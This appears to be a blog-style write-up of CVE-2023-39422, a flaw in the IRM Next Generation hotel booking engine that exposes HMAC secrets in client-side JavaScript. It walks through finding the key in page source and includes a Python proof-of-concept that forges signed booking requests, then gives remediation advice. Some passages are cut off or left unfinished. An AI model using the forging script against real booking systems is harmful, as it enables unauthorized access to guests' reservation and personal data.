---

Introduction

CVE-2023-39422 is a security vulnerability found in the IRM Next Generation booking engine — a solution often used by hotels and travel companies for managing reservations and client data. This weakness impacts the /irmdata/api/ endpoints, which use HMAC tokens for authentication. However, the big mistake here is that these HMAC tokens are publicly exposed in a JavaScript file sent to and loaded by client browsers, making the whole authentication process useless.

In this article, I’ll explain in plain language why this flaw matters, walk you through the technical details, and provide a sample exploit. If you use any product embedding or integrating IRM Next Generation, keep reading.

What Is HMAC and How Should It Work?

HMAC (Hash-based Message Authentication Code) is a strong cryptographic scheme for signing requests. Usually, your server and the client (the actual app, not the user’s web browser!) share a secret key. This key is used to generate the HMAC token, which assures both integrity and authenticity of an API request.

The user logs in.

- The backend generates a session or authentication token (like JWT or HMAC-based) and keeps the secret somewhere safe, totally invisible to the outside world.
- The frontend app sends signed requests to the API, and the API checks the signature using the secret.

The important part? The secret should never be visible to users or browsers. Otherwise, hackers can forge their own requests.

The Bad Move With IRM Next Generation

IRM Next Generation tried to protect its /irmdata/api/ endpoints with HMAC tokens. However, the HMAC secrets were simply published in a client-side JavaScript file! This is like locking your front door, but writing the code to the lock in permanent marker right next to it.

In short: Anyone visiting the booking site can fetch the JavaScript file, grab the HMAC secret, and craft their own fully authenticated requests to the /irmdata/api/ endpoints.

View the HTML source code (right click > View Page Source).

2. Find the <script> tags referencing IRM assets (typically something like /irmng/app.js or /irm/ng3.bundle.js).

Look for lines like

window.IRM_CONFIG = {
    hmacKey: 'd8asd3klf2384sadflk345lkafase',
    apiUrl: '/irmdata/api/',
    // ...other config
};

Or sometimes it’s

const HMAC_SECRET = "supersecretkeyexposed123";

Let’s say their API expects HMAC-authenticated POST like so

POST /irmdata/api/booking/create HTTP/1.1
Content-Type: application/json
X-Request-Signature: [your_hmac_here]

But if I have the secret, I can generate the right X-Request-Signature header myself, like the real app.

Proof of Exploit

Here’s a minimal Python3 script that forges an API call using the exposed HMAC secret.

import hmac
import hashlib
import requests
import json

API_SECRET = "supersecretkeyexposed123"  # found in JavaScript
API_URL = "https://victim.hotel.com/irmdata/api/booking/create";

booking_data = {"hotel": 1, "room": 101, "date": "2024-07-15"}

# Prepare string to sign (common: method + path + body, but depends on implementation)
to_sign = "POST" + "/irmdata/api/booking/create" + json.dumps(booking_data)
signature = hmac.new(API_SECRET.encode(), to_sign.encode(), hashlib.sha256).hexdigest()

headers = {
    "Content-Type": "application/json",
    "X-Request-Signature": signature
}

response = requests.post(API_URL, data=json.dumps(booking_data), headers=headers)
print(response.status_code, response.text)

Result? Successfully create a booking, without being the real user or client.

Data Theft: Read or change private reservation data.

- Reputation Loss: Guests may lose trust if their bookings or personal data are accessed/changed by strangers.

How Could This Happen?

Exposing secrets in client-side JavaScript is a common beginner’s mistake. Sometimes, developers just want to get things working and don’t realize that:

Original References & Further Reading

- NVD Entry for CVE-2023-39422
- IRM Booking Engine website
- OWASP Top 10 - A2 - Broken Authentication
- Why you should never expose API Keys in client JavaScript

Final Notes

CVE-2023-39422 perfectly demonstrates why hiding keys in browser JavaScript is not security — it’s “security theater”. Always keep your secrets on the backend, and assume anything in the browser is public knowledge.

If you manage a site with IRM Next Generation, update your booking engine and rotate any exposed secrets ASAP. If you’re a developer, check your JS bundles — don’t ever let them contain keys, secrets, or hashes used for authentication.

Stay safe!

*Want more in-depth CVE walkthroughs? Follow me on Github or [subscribe to my newsletter](#).*

Timeline

Published on: 09/07/2023 13:15:00 UTC
Last modified on: 09/12/2023 00:08:00 UTC